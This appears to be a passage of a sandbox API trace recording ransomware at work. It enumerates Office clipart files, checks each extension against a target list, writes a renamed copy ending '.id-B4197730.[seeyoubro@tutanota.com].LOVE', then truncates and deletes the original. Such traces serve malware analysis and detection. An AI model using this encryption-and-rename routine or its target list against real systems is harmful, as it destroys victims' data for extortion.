[0208.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.229] lstrlenW (lpString=".doc") returned 4 [0208.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.229] lstrlenW (lpString=".docx") returned 5 [0208.229] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0208.229] lstrlenW (lpString=".pdf") returned 4 [0208.230] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.230] lstrlenW (lpString=".xls") returned 4 [0208.230] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.230] lstrlenW (lpString=".xlsx") returned 5 [0208.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0208.230] lstrlenW (lpString=".ppt") returned 4 [0208.230] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.230] lstrlenW (lpString=".zip") returned 4 [0208.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.230] lstrlenW (lpString=".rar") returned 4 [0208.230] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.230] lstrlenW (lpString=".bz2") returned 4 [0208.230] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.230] lstrlenW (lpString=".7z") returned 3 [0208.230] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.230] lstrlenW (lpString=".dbf") returned 4 [0208.230] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.230] lstrlenW (lpString=".1cd") returned 4 [0208.230] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.230] lstrlenW (lpString=".jpg") returned 4 [0208.230] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.230] lstrlenW (lpString=".doc") returned 4 [0208.230] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.230] lstrlenW (lpString=".docx") returned 5 [0208.230] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0208.230] lstrlenW (lpString=".pdf") returned 4 [0208.230] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.231] lstrlenW (lpString=".xls") returned 4 [0208.231] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.231] lstrlenW (lpString=".xlsx") returned 5 [0208.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0208.231] lstrlenW (lpString=".ppt") returned 4 [0208.231] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.231] lstrlenW (lpString=".zip") returned 4 [0208.231] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.231] lstrlenW (lpString=".rar") returned 4 [0208.231] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.231] lstrlenW (lpString=".bz2") returned 4 [0208.231] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.231] lstrlenW (lpString=".7z") returned 3 [0208.231] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.231] lstrlenW (lpString=".dbf") returned 4 [0208.231] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.231] lstrlenW (lpString=".1cd") returned 4 [0208.231] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0208.231] lstrlenW (lpString=".jpg") returned 4 [0208.231] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.231] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0208.231] lstrlenW (lpString="BD19563_.GIF") returned 12 [0208.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.232] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=20454) returned 1 [0208.232] CloseHandle (hObject=0x300) returned 1 [0208.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0208.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.232] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.232] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0208.232] GetLastError () returned 0x0 [0208.232] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0208.282] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0208.283] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.283] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.283] SetEndOfFile (hFile=0x348) returned 1 [0208.284] CloseHandle (hObject=0x348) returned 1 [0208.285] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.285] SetEndOfFile (hFile=0x300) returned 1 [0208.286] CloseHandle (hObject=0x300) returned 1 [0208.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0208.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.287] lstrlenW (lpString=".doc") returned 4 [0208.287] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.287] lstrlenW (lpString=".docx") returned 5 [0208.287] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0208.287] lstrlenW (lpString=".pdf") returned 4 [0208.287] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.287] lstrlenW (lpString=".xls") returned 4 [0208.287] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.287] lstrlenW (lpString=".xlsx") returned 5 [0208.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0208.287] lstrlenW (lpString=".ppt") returned 4 [0208.287] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.287] lstrlenW (lpString=".zip") returned 4 [0208.287] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.287] lstrlenW (lpString=".rar") returned 4 [0208.287] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.287] lstrlenW (lpString=".bz2") returned 4 [0208.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.287] lstrlenW (lpString=".7z") returned 3 [0208.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.287] lstrlenW (lpString=".dbf") returned 4 [0208.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.287] lstrlenW (lpString=".1cd") returned 4 [0208.288] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.288] lstrlenW (lpString=".jpg") returned 4 [0208.288] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.288] lstrlenW (lpString=".doc") returned 4 [0208.288] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.288] lstrlenW (lpString=".docx") returned 5 [0208.288] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0208.288] lstrlenW (lpString=".pdf") returned 4 [0208.288] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.288] lstrlenW (lpString=".xls") returned 4 [0208.288] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.288] lstrlenW (lpString=".xlsx") returned 5 [0208.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0208.288] lstrlenW (lpString=".ppt") returned 4 [0208.288] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.288] lstrlenW (lpString=".zip") returned 4 [0208.288] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.288] lstrlenW (lpString=".rar") returned 4 [0208.288] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.288] lstrlenW (lpString=".bz2") returned 4 [0208.288] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.289] lstrlenW (lpString=".7z") returned 3 [0208.289] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.289] lstrlenW (lpString=".dbf") returned 4 [0208.289] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.289] lstrlenW (lpString=".1cd") returned 4 [0208.289] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0208.289] lstrlenW (lpString=".jpg") returned 4 [0208.289] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.289] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0208.289] lstrlenW (lpString="BD19986_.WMF") returned 12 [0208.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.290] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=14486) returned 1 [0208.290] CloseHandle (hObject=0x300) returned 1 [0208.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0208.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.290] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.290] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0208.290] GetLastError () returned 0x0 [0208.290] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x3896, lpOverlapped=0x0) returned 1 [0208.319] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x38a0, lpOverlapped=0x0) returned 1 [0208.320] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.320] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.320] SetEndOfFile (hFile=0x348) returned 1 [0208.321] CloseHandle (hObject=0x348) returned 1 [0208.322] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.322] SetEndOfFile (hFile=0x300) returned 1 [0208.323] CloseHandle (hObject=0x300) returned 1 [0208.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0208.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.323] lstrlenW (lpString=".doc") returned 4 [0208.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.323] lstrlenW (lpString=".docx") returned 5 [0208.323] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.323] lstrlenW (lpString=".pdf") returned 4 [0208.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.323] lstrlenW (lpString=".xls") returned 4 [0208.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.324] lstrlenW (lpString=".xlsx") returned 5 [0208.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.324] lstrlenW (lpString=".ppt") returned 4 [0208.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.324] lstrlenW (lpString=".zip") returned 4 [0208.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.324] lstrlenW (lpString=".rar") returned 4 [0208.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.324] lstrlenW (lpString=".bz2") returned 4 [0208.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.324] lstrlenW (lpString=".7z") returned 3 [0208.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.324] lstrlenW (lpString=".dbf") returned 4 [0208.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.324] lstrlenW (lpString=".1cd") returned 4 [0208.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.324] lstrlenW (lpString=".jpg") returned 4 [0208.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.324] lstrlenW (lpString=".doc") returned 4 [0208.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.324] lstrlenW (lpString=".docx") returned 5 [0208.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.325] lstrlenW (lpString=".pdf") returned 4 [0208.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.325] lstrlenW (lpString=".xls") returned 4 [0208.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.325] lstrlenW (lpString=".xlsx") returned 5 [0208.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.325] lstrlenW (lpString=".ppt") returned 4 [0208.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.325] lstrlenW (lpString=".zip") returned 4 [0208.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.325] lstrlenW (lpString=".rar") returned 4 [0208.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.325] lstrlenW (lpString=".bz2") returned 4 [0208.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.325] lstrlenW (lpString=".7z") returned 3 [0208.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.325] lstrlenW (lpString=".dbf") returned 4 [0208.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.325] lstrlenW (lpString=".1cd") returned 4 [0208.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0208.325] lstrlenW (lpString=".jpg") returned 4 [0208.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.326] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0208.326] lstrlenW (lpString="BL00045_.WMF") returned 12 [0208.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.326] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=7862) returned 1 [0208.326] CloseHandle (hObject=0x300) returned 1 [0208.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0208.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.326] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.326] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0208.327] GetLastError () returned 0x0 [0208.327] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0208.430] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0208.431] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.431] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.431] SetEndOfFile (hFile=0x348) returned 1 [0208.431] CloseHandle (hObject=0x348) returned 1 [0208.432] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.432] SetEndOfFile (hFile=0x300) returned 1 [0208.433] CloseHandle (hObject=0x300) returned 1 [0208.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0208.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0208.435] lstrlenW (lpString=".doc") returned 4 [0208.436] lstrcmpiW 